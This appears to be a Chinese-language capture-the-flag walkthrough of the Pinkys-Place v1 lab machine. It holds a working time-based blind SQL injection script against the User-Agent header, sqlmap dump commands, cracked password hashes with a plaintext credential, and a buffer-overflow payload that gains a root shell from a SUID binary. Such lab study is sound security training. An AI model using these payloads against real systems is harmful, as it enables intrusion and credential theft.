Pinkys-Place v1

发布于 2023-01-17  1.15k 次阅读


Pinkys-Place v1

information

image-20221224232524866
直接访问8080端口显示403,但31337端口的服务是http-proxy,所以尝试以这个端口为代理访问
curl -i --proxy 192.168.56.101:31337 http://127.0.0.1:8080/ image-20221224232534992
成功访问,同样可以给浏览器挂代理进行访问
image-20221224232545893
然后目录爆破dirsearch --proxy 192.168.56.101:31337 -u "http://127.0.0.1:8080/" -w /usr/share/wordlists/dirbuster/direc也可以使用其他工具
image-20221224232551997
image-20221224232557117

获取漏洞/利用

由于登录时错误的登录返回只有一句"Incorrect Username or Password",也就是对账号和密码爆破难度极大,所以这时去尝试是否具有sql注入漏洞,对请求的各个参数进行测试。
image-20221224232604140
在对User-Agent测试时发现了基于时间盲注的Sql注入

在进行手工sql漏洞测试时,对页面正常回显的内容,可以首先时间盲注,语句首选' or sleep(5) or ' 之后在尝试其他的

通过如下语句判断为MySQL数据库
' or 'a'+'b' = 'ab' or sleep(5) or '
' or CONCAT('a','b')='aba' or sleep(5) or '

A.python脚本

import requests
import time
url = "http://127.0.0.1:8080/littlesecrets-main/login.php"
proxys = {"http":"192.168.56.101:31337"}
sql = ""
data = {
    "user":"administrator",
    "pass":"asd"
}
for i in range(1, 100):
    top = 126
    low = 32
    while top - low > 1:
        length = (top + low) // 2
        reBody = {
            "User-Agent":f"' or (select ascii(substr(group_concat(schema_name),{i},1)) from information_schema.schemata) < {length} or sleep(1) or '"
        }
        a = time.time()
        res = requests.post(url = url,proxies=proxys,headers=reBody,data=data)
        b = time.time()
        if b - a >= 1:
            low = length    
        else:
            top = length
        if top - low == 1 or top - low == 0:
            print(chr(low),end='')
# information_schema,pinky_sec_db

# ' or (select ascii(substr(group_concat(table_name),{i},1)) from information_schema.tables where table_schema = database()) < {length} or sleep(1) or ' 
# logs,users  

# ' or (select ascii(substr(group_concat(column_name),{i},1)) from information_schema.columns where table_name = 'users') < {length} or sleep(1) or '
# uid,user,pass

# ' or (select ascii(substr(group_concat(user),{i},1)) from users) < {length} or sleep(1) or '
# pinky,pinkymanage

# ' or (select ascii(substr(group_concat(pass),{i},1)) from users) < {length} or sleep(1) or '
# f543dbfeaf238729831a321c7a68bee4,d60dffed7cc0d87e1f4a11aa06ca73af

B.sqlmap

sqlmap --proxy "http://192.168.56.101:31337" -r 2.txt --batch --level 3
image-20221224232621060sqlmap --proxy "http://192.168.56.101:31337" -r 2.txt -****-batch --level 3 -D "pinky_sec_db" -T "users" -C "user,pass" --dump**
image-20221224232628600

解密密文

[http://www.nitrxgen.net/md5db/d60dffed7cc0d87e1f4a11aa06ca73af](http://www.nitrxgen.net/md5db/d60dffed7cc0d87e1f4a11aa06ca73af)
image-20221224232633668
3pinkysaf33pinkysaf3
f543dbfeaf238729831a321c7a68bee4破解失败

使用凭据

pinkymanage:3pinkysaf33pinkysaf3
改凭据登录网站失败,但目标机器开启了ssh,尝试ssh登录
image-20221224232637925

提权

information

pinkymanage用户没有sudo权限,家目录下没什么有用信息,但是在/home下发现了pinky目录,也就是说有pinky用户
image-20221224232642765
网站目录里发现了提示,RSA密钥在这里
image-20221224232646612
将该段文本复制到kali上,base64解密得到RSA私钥
image-20221224232654761

pinky登录

解密后的RSA私钥作为以pinky用户登录ssh的凭据
image-20221224232658686
image-20221224232701745

该程序是个打印程序,并具有s权限,即运行时是以root身份运行,所以这里的提权方式即为缓冲区溢出

缓冲区溢出

image-20221224232709784
不出意外的,该程序具有缓冲区溢出
gdb调试,测试偏移量。
由于该程序不返回分段错误地址,所以只能慢慢测试出来
image-20221224232740160得到的结果是偏移量为72
在程序中发现使用了spawm函数
image-20221224233641917

spawn()则会创建一个新的进程来执行,生成一个子进程。返回代码将表明的状态创建进程

所以,最后提权中可以通过控制rip来执行spawn函数以达到提权的目的
在调用spawn函数时会获得一个shell
image-20221224234408342
disas spawn得到spawn函数地址0x00005555555547d0
image-20221224234628572

所以最后payload为./adminhelper $(python -c 'print "a"*72 + "\xd0\x47\x55\x55\x55\x55\x00\x00"')
image-20221224235013629

End

image-20221224235112040


喵~